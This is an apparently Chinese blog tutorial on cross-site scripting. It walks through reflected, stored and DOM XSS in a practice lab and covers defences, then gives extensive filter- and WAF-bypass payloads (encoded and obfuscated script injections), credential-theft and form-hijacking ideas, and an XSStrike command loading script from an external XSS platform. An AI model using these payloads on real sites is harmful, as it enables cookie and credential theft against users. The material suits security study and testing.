xss漏洞

                       xss漏洞


前言

       个人观点,若有误请指教


简介

  • Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS,XSS是web安全中最为常见的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
  • XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。
  • 通俗来讲:XSS漏洞是通过php的输出函数将JS代码(这里指的反射型和存储型,而DOM性是不经过后端的)输出到html页面中,通过用户本地浏览器执行的(看到js就直接执行,不会进行检验),所以关键就是寻找参数未过滤的输出函数。
  • 常见的输出函数有: ①echo ②printf ③print ④print_r ⑤sprintf ⑥die ⑦var-dump ⑧var_export
  • 一般XSS可以分为如下几种常见类型:
    ① 反射型XSS;
    ② 存储型XSS;
    ③ DOM型XSS;

环境搭建

  1. pikachu靶场(链接:https://pan.baidu.com/s/1zVfP-WrvT5Tnny24AEXccg 提取码:lzjy)
    注:初始化时访问install.php即可。靶场来自https://github.com/zhuifengshaonianhanlu/pikachu

  2. Burp Suite(自寻教程安装)


反射型XSS

介绍

  • 原理:该XSS是非持久化的,攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码。
  • 触发条件:①网站存在xss漏洞。
             ②浏览器内核版本(不阻止脚本运行)。
             ③管理员短时间内有登录(产生了cookie或session)。
             ④网站没有防护(有的可以通过一些手段绕过)。
             ⑤管理员需要点击构造好的URL地址。
  • 基于上面的触发条件,反射型xss攻击显得很鸡肋,限制条件太多。

实操

反射-GET

  • 查看页面代码
    在这里插入图片描述
  • 正常输入,进行抓包查看
    在这里插入图片描述
  • 将包发送,查看结果
    在这里插入图片描述
  • 测试是否存在xss漏洞(<script>alert(1)</script>
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

反射-POST

  • 破解用户和密码
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    经测试,两个账户都可以进行登录。
    注:常见用户名与密码本下载https://github.com/MuyeGecko/Userpass-Dict

  • 正常输入,进行抓包查看
    在这里插入图片描述
    在这里插入图片描述

  • 测试是否存在xss漏洞(<script>alert(1)</script>
    在这里插入图片描述
    在这里插入图片描述


存储型XSS

介绍

  • 原理:该XSS是持久化的, 代码是存储在服务器。
  • 触发条件:①当用户(管理员)访问服务器中已经被注入JS代码的页面。
             ②浏览器内核版本(不阻止脚本运行)。
  • 常用地方:留言板,订单信息(管理员要进行查看)等地方。

实操

  • 正常输入
    在这里插入图片描述

  • 测试是否存在xss漏洞(<script>alert(1)</script>
    在这里插入图片描述


DOM型XSS

介绍

  • 原理:该XSS与前面两种不同,其操作是不与后端进行交互的,是由前端代码(通过DOM树的相关语法)来实现的。
    在这里插入图片描述
  • 触发条件:①页面的改变是由DOM树改变(即存在漏洞)
             ②浏览器内核版本(不阻止脚本运行)
  • 这好像只能自娱自乐,因为它也是非持久性的(点一次就会消失,只能重新产生)而且还不像反射型那样可以构造一个URL地址去诱使人去点击。

实操

反射-POST

  • 观看html代码
<div id="xssd_main">
	<script>
	 //可以看出当点击click me!按钮时,会调用domxss方法进行更改页面
		function domxss(){
			var str = document.getElementById("text").value;
            document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        }
                   
      </script>
               
      <input id="text" name="text" type="text"  value="" />
      <input id="button" type="button" value="click me!" onclick="domxss()" />
      <div id="dom"></div>
</div>
  • 测试是否存在漏洞(' onclick="alert('xss')">
    在这里插入图片描述

反射-GET

  • 观看html代码
<!--假设url为http://pik.test/vul/xss/xss_dom_x.php?text=3#-->
<div id="xssd_main">
	<script>
		function domxss(){
			// str为text=3
			var str = window.location.search;
			// 以text=为分隔符,取出第二个数(3),再使用decodeURIComponent进行解码
            var txss = decodeURIComponent(str.split("text=")[1]);
            // 将全部+替换成空格
            var xss = txss.replace(/\+/g,' ');
			//在当前html页面所在目录下寻找xss文件 
            document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
     </script>
     <form method="get">
            <input id="text" name="text" type="text"  value="" />
            <input id="submit" type="submit" value="请说出你的伤心往事"/>
      </form>
      <div id="dom"></div>
</div>

 <!--经测试,href跳转到当前页面时,最后会多加一个#号     (提交后才出现的)-->
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
  • 测试是否存在漏洞(' onclick="alert('xss')">

在这里插入图片描述
注:是点击’>就让···随风吧才会弹窗且点完会消失。


xss平台和工具

xss平台:https://xsshs.cn/xss.php?do=login
在这里插入图片描述
在这里插入图片描述

postman:https://app.getpostman.com/app/download/win64
在这里插入图片描述
在这里插入图片描述

Kali中的Beef(安装教程:https://blog.csdn.net/weixin_43847838/article/details/110312851
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


xss的防护

  • xss漏洞的常见的防护手段有:
    ① 代码过滤;
    ② http only;
    ③ WAF拦截;

代码过滤

  • 代码过滤有以下几种:
    ① 对特殊字符进行转义,例如"、’、<、>、空格、&、/等
    ② 对关键字进行过滤,如常见的script、alert、onclick、onerror等
    ③ 对用户交互数据进行矫正,根据自己业务需求,对用户输入的数据是否符合规范进行判断

  • 代码过滤一般发生在输入或者输出时。(可以输入输出一起使用,也可以只在其中一个使用。)


http only

  • HttpOnly是Cookie的属性,设置之后Cookie是无法被JS读取到的,这样可以防止恶意脚本获取到cookie值。
  • PHP设置方法(转自此博客

PHP中的设置
① PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中将session.cookie_httponly 设置为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:

<?php
  ini_set("session.cookie_httponly", 1); 
 // or
  session_set_cookie_params(0, NULL, NULL, NULL, TRUE); 
?> 

Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:

//如看不懂 可以百度一下下面的函数参数代表的含义
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); 
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

② 对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:

<?php
  header("Set-Cookie: hidden=value; httpOnly");
?> 
  • javaEE设置方法
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取

Cookie cookies[]=request.getCookies();  

WAF拦截

  • WAF含义—Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
  • 常见的waf拦截页面

xss的绕过

  • 在了解了xss的防护后,来看一下怎样绕过吧!

代码过滤

该部分内容转自此博客

  • 该绕过是指确保用户想输入到网页的东西不被后端给过滤掉。(网页一般流程:用户输入-后端-前端)

  • 过滤空格
    用/代替空格
    <img/src=“x”/οnerrοr=alert(“xss”);>

  • 过滤关键字
    ①大小写绕过
    <ImG sRc=x onerRor=alert(“xss”);>
    ②双写关键字(利用有些检查只检查一次)
    <imimgg srsrcc=x οnerrοr=alert(“xss”);>
    ③字符拼接

//利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
//利用top
<script>top["al"+"ert"](`xss`);</script>

      ④其它字符混淆

可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

      注:使用其它字符去混淆我们注入的代码

      ⑤编码绕过

1.Unicode编码绕过(编码转换:https://tool.oschina.net/encode  第一个为Unicode  第二个为ASCll)
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

2.url编码绕过
//unescape为解码函数
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
//代码含义:https://www.cnblogs.com/soleyy/p/7158976.html
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

3.Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

4.hex绕过(16进制)
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

5.八进制
<img src=x onerror=alert('\170\163\163')>

6.base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • 过滤双引号,单引号
    ①使用反引号代替单双引号
    <img src=“x” οnerrοr=alert(`xss`);>
    ②使用编码绕过(与上面的基本一致)

  • 过滤括号
    <svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”>
    注:\x281\x29解码后为(1)

  • 过滤url地址
    ①使用url编码
    <img src=“x” οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
    ②使用IP

1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

http only

  • 登录的方式:
    ①获得cookie进行登录(设置http only之后,该方法直接废掉)
    ②获得账号与密码(这也是绕过的方式)

  • 绕过也分为两种(个人尝试许久未能成功、只能观看他人的实操):
    ①保存读取(浏览器保存了账号和密码的情况):植入盗取账号和密码的XSS,例如存储型XSS。
    在这里插入图片描述
    ②没保存读取(浏览器没保存了账号和密码的情况):需要xss产生于登录地址,利用表单劫持。
    在这里插入图片描述


WAF拦截

  • 测试拦截规则(使用靶场进行测试)
    在这里插入图片描述
    在这里插入图片描述

  • 常见的绕过思路
    ①标签语法替换
    在这里插入图片描述在这里插入图片描述


    ②特殊符号干扰(/ #等)
    在这里插入图片描述
    在这里插入图片描述注:图片没有加载出来,不知道是什么问题o(╥﹏╥)o,不过换成其他关卡,有些图片会出现。


    ③提交方式更改
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述


    ④垃圾数据溢出
    看他人的博客,写的基本上都是一些垃圾数据加#号来绕过,(⊙o⊙)…,但本人尝试了直接#号也能绕过(这不是特殊符号干扰嘛?),无法理解,望指点!!!


    ⑤加密解密算法
    这里应该是针对标签里面的属性的值,如alert、JavaScript被拦截的。那么就可以编码绕过了,与上面的代码过滤中的编码绕过一致。


    ⑥结合其他漏洞绕过
    如XSS和crsf结合等等,不懂不懂。


自动化工具说明(XSStrike)

  • 工具下载:https://github.com/s0md3v/XSStrike
    注:下载完成,在其目录下打开cmd窗口,输入pip3 install -r requirements.txt
  • 使用手册:https://www.freesion.com/article/53831384306/
  • 实操:
    -python xsstrike.py -u "http://xss.test/level.php?name=" --fuzzer (该模糊器旨在测试过滤器和Web应用程序防火墙。name值有没有都无所谓)
    在这里插入图片描述
    在这里插入图片描述
    -python xsstrike.py -u "http://xss.test/level1.php?name=<script t sRC=//xsshs.cn/3iwX>"
    在这里插入图片描述
    注:xssstrike会列出很多payload,若没有一定的基础,只能一个个测试进行选择。有些playload很难引入外部的XSS平台的XSS代码。

Burp suite暴力跑

  • 进行抓包
    在这里插入图片描述

  • 选择攻击模式和加载字典
    在这里插入图片描述
    在这里插入图片描述

  • 选择回响报文不是3087即可(因为我使用的是安全狗,其他waf可以不一样)
    在这里插入图片描述
    在这里插入图片描述
    注:有些playload很难引入外部的XSS平台的XSS代码。


Session与Cookie

  • 当用户登录时,服务端会产生session并将其标识(session id)发给浏览器,浏览器将其保存在cookie中。
  • 而登录后在访问时,服务端有两种验证:cookie验证和session验证。session验证是根据session id查询当前服务端有没有对应的session;cookie验证是判断cookie是否为空(只看了一个例子,可能理解有误)
  • session保存在服务端,用户不可见,有效期可设置,默认30分钟;
  • cookie保存在客户端,用户可以看到;
  • session的生命周期是一个会话(从打开浏览器到关闭浏览器),cookie的生命周期根据设置的过期时间值,如果没设置过期时间,则不会保存在本地,在关闭浏览器后即失效。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值